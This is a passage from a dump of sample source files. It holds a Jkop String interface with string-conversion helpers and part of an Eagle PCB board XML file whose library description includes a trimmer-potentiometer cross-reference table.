    "content": "\n/*\n * This file is part of Jkop\n * Copyright (c) 2016 Job and Esther Technologies, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\npublic interface String : Stringable, Integer, Double, Boolean\n{\n\tpublic static String instance(String o) {\n\t\tif(o == null) {\n\t\t\treturn(\"\");\n\t\t}\n\t\treturn(o);\n\t}\n\n\tpublic static String as_string(Object o) {\n\t\tif(o == null) {\n\t\t\treturn(null);\n\t\t}\n\t\tif(o is String) {\n\t\t\treturn((String)o);\n\t\t}\n\t\tif(o is Stringable) {\n\t\t\treturn(((Stringable)o).to_string());\n\t\t}\n\t\treturn(null);\n\t}\n\n\tpublic static strptr as_strptr(Object o) {\n\t\tvar str = as_string(o);\n\t\tif(str == null) {\n\t\t\treturn(null);\n\t\t}\n\t\treturn(str.to_strptr());\n\t}\n\n\tpublic static bool is_in_collection(String str, Collection c) {\n\t\tif(str == null) {\n\t\t\treturn(false);\n\t\t}\n\t\tforeach(String s in c) {\n\t\t\tif(s.equals(str)) {\n\t\t\t\treturn(true);\n\t\t\t}\n\t\t}\n\t\treturn(false);\n\t}\n\n\tpublic static bool is_empty(Object o) {\n\t\tif(o == null) {\n\t\t\treturn(true);\n\t\t}\n\t\tvar str = o as String;\n\t\tif(str == null && o is Stringable) {\n\t\t\tstr = ((Stringable)o).to_string();\n\t\t}\n\t\tif(str == null) {\n\t\t\treturn(true);\n\t\t}\n\t\tif(str.get_char(0) < 1) {\n\t\t\treturn(true);\n\t\t}\n\t\treturn(false);\n\t}\n\n\tpublic static String for_object(Object o) {\n\t\tif(o is String) {\n\t\t\treturn((String)o);\n\t\t}\n\t\tif(o is Stringable) {\n\t\t\treturn(((Stringable)o).to_string());\n\t\t}\n\t\treturn(null);\n\t}\n\n\tpublic static String for_character(int c) {\n\t\tvar sb = StringBuffer.create();\n\t\tsb.append_c(c);\n\t\treturn(sb.to_string());\n\t}\n\n\tpublic static String for_integer(int av) {\n\t\tIFDEF(\"target_cs\") {\n\t\t\tstrptr v;\n\t\t\tembed {{{\n\t\t\t\tv = av.ToString();\n\t\t\t}}}\n\t\t\treturn(String.for_strptr(v));\n\t\t}\n\t\tELSE IFDEF(\"target_java\") {\n\t\t\tstrptr st;\n\t\t\tembed {{{\n\t\t\t\tst = java.lang.String.valueOf(av);\n\t\t\t}}}\n\t\t\treturn(String.for_strptr(st));\n\t\t}\n\t\tELSE {\n\t\t\treturn(\"%d\".printf().add(av).to_string());\n\t\t}\n\t}\n\n\tpublic static String for_long(long av) {\n\t\tIFDEF(\"target_cs\") {\n\t\t\tstrptr v;\n\t\t\tembed {{{\n\t\t\t\tv = av.ToString();\n\t\t\t}}}\n\t\t\treturn(String.for_strptr(v));\n\t\t}\n\t\tELSE IFDEF(\"target_java\") {\n\t\t\tstrptr st;\n\t\t\tembed {{{\n\t\t\t\tst = java.lang.String.valueOf(av);\n\t\t\t}}}\n\t\t\treturn(String.for_strptr(st));\n\t\t}\n\t\tELSE {\n\t\t\treturn(for_integer((int)av));\n\t\t}\n\t}\n\n\tpublic static String for_double(double v) {\n\t\tIFDEF(\"target_java\") {\n\t\t\tstrptr st;\n\t\t\tembed {{{\n\t\t\t\tst = java.lang.String.valueOf(v);\n\t\t\t}}}\n\t\t\treturn(String.for_strptr(st));\n\t\t}\n\t\tELSE {\n\t\t\treturn(\"%f\".printf().add(v).to_string());\n\t\t}\n\t}\n\n\tpublic static String for_boolean(bool val) {\n\t\tif(val) {\n\t\t\treturn(\"true\");\n\t\t}\n\t\treturn(\"false\");\n\t}\n\n\tpublic static String for_strptr(strptr literal) {\n\t\tvar v = new StringImpl();\n\t\tv.set_strptr(literal);\n\t\treturn(v);\n\t}\n\n\tpublic static String for_utf8_buffer(Buffer data, bool haszero = true) {\n\t\tvar v = new StringImpl();\n\t\tv.set_utf8_buffer(data, haszero);\n\t\treturn(v);\n\t}\n\n\tpublic static String combine(Collection strings, int delim = -1, bool unique = false) {\n\t\tvar sb = StringBuffer.create();\n\t\tHashTable flags;\n\t\tif(unique) {\n\t\t\tflags = HashTable.create();\n\t\t}\n\t\tforeach(Object o in strings) {\n\t\t\tvar s = String.as_string(o);\n\t\t\tif(s == null) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif(flags != null) {\n\t\t\t\tif(flags.get(s) != null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tflags.set(s, \"true\");\n\t\t\t}\n\t\t\tif(delim > 0 && sb.count() > 0) {\n\t\t\t\tsb.append_c(delim);\n\t\t\t}\n\t\t\tsb.append(s);\n\t\t}\n\t\treturn(sb.to_string());\n\t}\n\n\tpublic static String capitalize(String str) {\n\t\tif(str == null) {\n\t\t\treturn(null);\n\t\t}\n\t\tvar c0 = str.get_char(0);\n\t\tif(c0 < 1) {\n\t\t\treturn(null);\n\t\t}\n\t\tif(c0 >= 'a' && c0 <= 'z') {\n\t\t\tvar sb = StringBuffer.create();\n\t\t\tsb.append_c(c0 - 'a' + 'A');\n\t\t\tsb.append(str.substring(1));\n\t\t\treturn(sb.to_string());\n\t\t}\n\t\treturn(str);\n\t}\n\n\tpublic StringFormatter printf();\n\tpublic String dup();\n\tpublic String append(String str);\n\tpublic int get_length();\n\tpublic int get_char(int n);\n\tpublic String truncate(int len);\n\tpublic String replace(int o, int r);\n\tpublic String replace_char(int o, int r);\n\tpublic String replace_string(String o, String r);\n\tpublic String remove(int start, int len);\n\tpublic String insert(String str, int pos);\n\tpublic String substring(int start, int alength = -1);\n\tpublic String reverse();\n\tpublic String lowercase();\n\tpublic String uppercase();\n\tpublic String strip();\n\tpublic Iterator split(int delim, int max = -1);\n\tpublic int str(String s);\n\tpublic bool contains(String s);\n\tpublic int rstr(String s);\n\tpublic int chr(int c);\n\tpublic int rchr(int c);\n\tpublic bool has_prefix(String prefix);\n\tpublic bool has_suffix(String suffix);\n\tpublic int compare(Object ao);\n\tpublic int compare_ignore_case(Object ao);\n\tpublic bool equals(Object ao);\n\tpublic bool equals_ptr(strptr str);\n\tpublic bool equals_ignore_case(Object ao);\n\tpublic bool equals_ignore_case_ptr(strptr str);\n\tpublic StringIterator iterate();\n\tpublic StringIterator iterate_reverse();\n\tpublic int to_integer_base(int ibase);\n\tpublic strptr to_strptr();\n\tpublic Buffer to_utf8_buffer(bool zero = true);\n\tpublic int hash();\n\tpublic EditableString as_editable();\n}"
  },
  {
    "path": "samples/Eagle/Eagle.brd",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE eagle SYSTEM \"eagle.dtd\">\n<eagle version=\"6.3\">\n<drawing>\n<settings>\n<setting alwaysvectorfont=\"no\"/>\n<setting verticaltext=\"up\"/>\n</settings>\n<grid distance=\"10\" unitdist=\"mil\" unit=\"mil\" style=\"lines\" multiple=\"1\" display=\"no\" altdistance=\"0.025\" altunitdist=\"inch\" altunit=\"inch\"/>\n<layers>\n<layer number=\"1\" name=\"Top\" color=\"4\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"2\" name=\"Route2\" color=\"1\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"3\" name=\"Route3\" color=\"4\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"4\" name=\"Route4\" color=\"1\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"5\" name=\"Route5\" color=\"4\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"6\" name=\"Route6\" color=\"1\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"7\" name=\"Route7\" color=\"4\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"8\" name=\"Route8\" color=\"1\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"9\" name=\"Route9\" color=\"4\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"10\" name=\"Route10\" color=\"1\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"11\" name=\"Route11\" color=\"4\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"12\" name=\"Route12\" color=\"1\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"13\" name=\"Route13\" color=\"4\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"14\" name=\"Route14\" color=\"1\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"15\" name=\"Route15\" color=\"4\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"16\" name=\"Bottom\" color=\"1\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"17\" name=\"Pads\" color=\"2\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"18\" name=\"Vias\" color=\"2\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"19\" name=\"Unrouted\" color=\"6\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"20\" name=\"Dimension\" color=\"15\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"21\" name=\"tPlace\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"22\" name=\"bPlace\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"23\" name=\"tOrigins\" color=\"15\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"24\" name=\"bOrigins\" color=\"15\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"25\" name=\"tNames\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"26\" name=\"bNames\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"27\" name=\"tValues\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"28\" name=\"bValues\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"29\" name=\"tStop\" color=\"7\" fill=\"3\" visible=\"no\" active=\"yes\"/>\n<layer number=\"30\" name=\"bStop\" color=\"7\" fill=\"6\" visible=\"no\" active=\"yes\"/>\n<layer number=\"31\" name=\"tCream\" color=\"7\" fill=\"4\" visible=\"no\" active=\"yes\"/>\n<layer number=\"32\" name=\"bCream\" color=\"7\" fill=\"5\" visible=\"no\" active=\"yes\"/>\n<layer number=\"33\" name=\"tFinish\" color=\"6\" fill=\"3\" visible=\"no\" active=\"yes\"/>\n<layer number=\"34\" name=\"bFinish\" color=\"6\" fill=\"6\" visible=\"no\" active=\"yes\"/>\n<layer number=\"35\" name=\"tGlue\" color=\"7\" fill=\"4\" visible=\"no\" active=\"yes\"/>\n<layer number=\"36\" name=\"bGlue\" color=\"7\" fill=\"5\" visible=\"no\" active=\"yes\"/>\n<layer number=\"37\" name=\"tTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"38\" name=\"bTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"39\" name=\"tKeepout\" color=\"4\" fill=\"11\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"40\" name=\"bKeepout\" color=\"1\" fill=\"11\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"41\" name=\"tRestrict\" color=\"4\" fill=\"10\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"42\" name=\"bRestrict\" color=\"1\" fill=\"10\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"43\" name=\"vRestrict\" color=\"2\" fill=\"10\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"44\" name=\"Drills\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"45\" name=\"Holes\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"46\" name=\"Milling\" color=\"3\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"47\" name=\"Measures\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"48\" name=\"Document\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"49\" name=\"Reference\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"51\" name=\"tDocu\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"52\" name=\"bDocu\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"91\" name=\"Nets\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"92\" name=\"Busses\" color=\"1\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"93\" name=\"Pins\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"94\" name=\"Symbols\" color=\"4\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"95\" name=\"Names\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"96\" name=\"Values\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"97\" name=\"Info\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"98\" name=\"Guide\" color=\"6\" fill=\"1\" visible=\"no\" active=\"no\"/>\n</layers>\n<board>\n<plain>\n<wire x1=\"0\" y1=\"0\" x2=\"17.76\" y2=\"0\" width=\"0\" layer=\"20\"/>\n<wire x1=\"17.76\" y1=\"0\" x2=\"17.76\" y2=\"6.02\" width=\"0\" layer=\"20\"/>\n<wire x1=\"17.76\" y1=\"6.02\" x2=\"0\" y2=\"6.02\" width=\"0\" layer=\"20\"/>\n<wire x1=\"0\" y1=\"6.02\" x2=\"0\" y2=\"0\" width=\"0\" layer=\"20\"/>\n</plain>\n<libraries>\n<library name=\"rcl\">\n<description>&lt;b&gt;Resistors, Capacitors, Inductors&lt;/b&gt;&lt;p&gt;\nBased on the previous libraries:\n&lt;ul&gt;\n&lt;li&gt;r.lbr\n&lt;li&gt;cap.lbr \n&lt;li&gt;cap-fe.lbr\n&lt;li&gt;captant.lbr\n&lt;li&gt;polcap.lbr\n&lt;li&gt;ipc-smd.lbr\n&lt;/ul&gt;\nAll SMD packages are defined according to the IPC specifications and  CECC&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;&lt;p&gt;\n&lt;p&gt;\nfor Electrolyt Capacitors see also :&lt;p&gt;\nwww.bccomponents.com &lt;p&gt;\nwww.panasonic.com&lt;p&gt;\nwww.kemet.com&lt;p&gt;\nhttp://www.secc.co.jp/pdf/os_e/2004/e_os_all.pdf &lt;b&gt;(SANYO)&lt;/b&gt;\n&lt;p&gt;\nfor trimmer refence see : &lt;u&gt;www.electrospec-inc.com/cross_references/trimpotcrossref.asp&lt;/u&gt;&lt;p&gt;\n\n&lt;table border=0 cellspacing=0 cellpadding=0 width=\"100%\" cellpaddding=0&gt;\n&lt;tr valign=\"top\"&gt;\n\n&lt;! &lt;td width=\"10\"&gt;&amp;nbsp;&lt;/td&gt;\n&lt;td width=\"90%\"&gt;\n\n&lt;b&gt;&lt;font color=\"#0000FF\" size=\"4\"&gt;TRIM-POT CROSS REFERENCE&lt;/font&gt;&lt;/b&gt;\n&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=2&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;RECTANGULAR MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BOURNS&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BI&amp;nbsp;TECH&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;DALE-VISHAY&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PHILIPS/MEPCO&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MURATA&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PANASONIC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;SPECTROL&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MILSPEC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3 &gt;\n      3005P&lt;BR&gt;\n      3006P&lt;BR&gt;\n      3006W&lt;BR&gt;\n      3006Y&lt;BR&gt;\n      3009P&lt;BR&gt;\n      3009W&lt;BR&gt;\n      3009Y&lt;BR&gt;\n      3057J&lt;BR&gt;\n      3057L&lt;BR&gt;\n      3057P&lt;BR&gt;\n      3057Y&lt;BR&gt;\n      3059J&lt;BR&gt;\n      3059L&lt;BR&gt;\n      3059P&lt;BR&gt;\n      3059Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      89P&lt;BR&gt;\n      89W&lt;BR&gt;\n      89X&lt;BR&gt;\n      89PH&lt;BR&gt;\n      76P&lt;BR&gt;\n      89XH&lt;BR&gt;\n      78SLT&lt;BR&gt;\n      78L&amp;nbsp;ALT&lt;BR&gt;\n      56P&amp;nbsp;ALT&lt;BR&gt;\n      78P&amp;nbsp;ALT&lt;BR&gt;\n      T8S&lt;BR&gt;\n      78L&lt;BR&gt;\n      56P&lt;BR&gt;\n      78P&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      T18/784&lt;BR&gt;\n      783&lt;BR&gt;\n      781&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2199&lt;BR&gt;\n      1697/1897&lt;BR&gt;\n      1680/1880&lt;BR&gt;\n      2187&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      8035EKP/CT20/RJ-20P&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ-20X&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      1211L&lt;BR&gt;\n      8012EKQ&amp;nbsp;ALT&lt;BR&gt;\n      8012EKR&amp;nbsp;ALT&lt;BR&gt;\n      1211P&lt;BR&gt;\n      8012EKJ&lt;BR&gt;\n      8012EKL&lt;BR&gt;\n      8012EKQ&lt;BR&gt;\n      8012EKR&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      2101P&lt;BR&gt;\n      2101W&lt;BR&gt;\n      2101Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2102L&lt;BR&gt;\n      2102S&lt;BR&gt;\n      2102Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVMCOG&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      43P&lt;BR&gt;\n      43W&lt;BR&gt;\n      43Y&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      40L&lt;BR&gt;\n      40P&lt;BR&gt;\n      40Y&lt;BR&gt;\n      70Y-T602&lt;BR&gt;\n      70L&lt;BR&gt;\n      70P&lt;BR&gt;\n      70Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      RT/RTR12&lt;BR&gt;\n      -&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;\n      RJ/RJR12&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SQUARE MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n   &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MURATA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;SPECTROL&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;MILSPEC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3250L&lt;BR&gt;\n      3250P&lt;BR&gt;\n      3250W&lt;BR&gt;\n      3250X&lt;BR&gt;\n      3252P&lt;BR&gt;\n      3252W&lt;BR&gt;\n      3252X&lt;BR&gt;\n      3260P&lt;BR&gt;\n      3260W&lt;BR&gt;\n      3260X&lt;BR&gt;\n      3262P&lt;BR&gt;\n      3262W&lt;BR&gt;\n      3262X&lt;BR&gt;\n      3266P&lt;BR&gt;\n      3266W&lt;BR&gt;\n      3266X&lt;BR&gt;\n      3290H&lt;BR&gt;\n      3290P&lt;BR&gt;\n      3290W&lt;BR&gt;\n      3292P&lt;BR&gt;\n      3292W&lt;BR&gt;\n      3292X&lt;BR&gt;\n      3296P&lt;BR&gt;\n      3296W&lt;BR&gt;\n      3296X&lt;BR&gt;\n      3296Y&lt;BR&gt;\n      3296Z&lt;BR&gt;\n      3299P&lt;BR&gt;\n      3299W&lt;BR&gt;\n      3299X&lt;BR&gt;\n      3299Y&lt;BR&gt;\n      3299Z&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      -&lt;BR&gt;\n      64P&amp;nbsp;ALT&lt;BR&gt;\n      64W&amp;nbsp;ALT&lt;BR&gt;\n      64X&amp;nbsp;ALT&lt;BR&gt;\n      64P&lt;BR&gt;\n      64W&lt;BR&gt;\n      64X&lt;BR&gt;\n      66X&amp;nbsp;ALT&lt;BR&gt;\n      66P&amp;nbsp;ALT&lt;BR&gt;\n      66W&amp;nbsp;ALT&lt;BR&gt;\n      66P&lt;BR&gt;\n      66W&lt;BR&gt;\n      66X&lt;BR&gt;\n      67P&lt;BR&gt;\n      67W&lt;BR&gt;\n      67X&lt;BR&gt;\n      67Y&lt;BR&gt;\n      67Z&lt;BR&gt;\n      68P&lt;BR&gt;\n      68W&lt;BR&gt;\n      68X&lt;BR&gt;\n      67Y&amp;nbsp;ALT&lt;BR&gt;\n      67Z&amp;nbsp;ALT&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      5050&lt;BR&gt;\n      5091&lt;BR&gt;\n      5080&lt;BR&gt;\n      5087&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T63YB&lt;BR&gt;\n      T63XB&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      5887&lt;BR&gt;\n      5891&lt;BR&gt;\n      5880&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      T93Z&lt;BR&gt;\n      T93YA&lt;BR&gt;\n      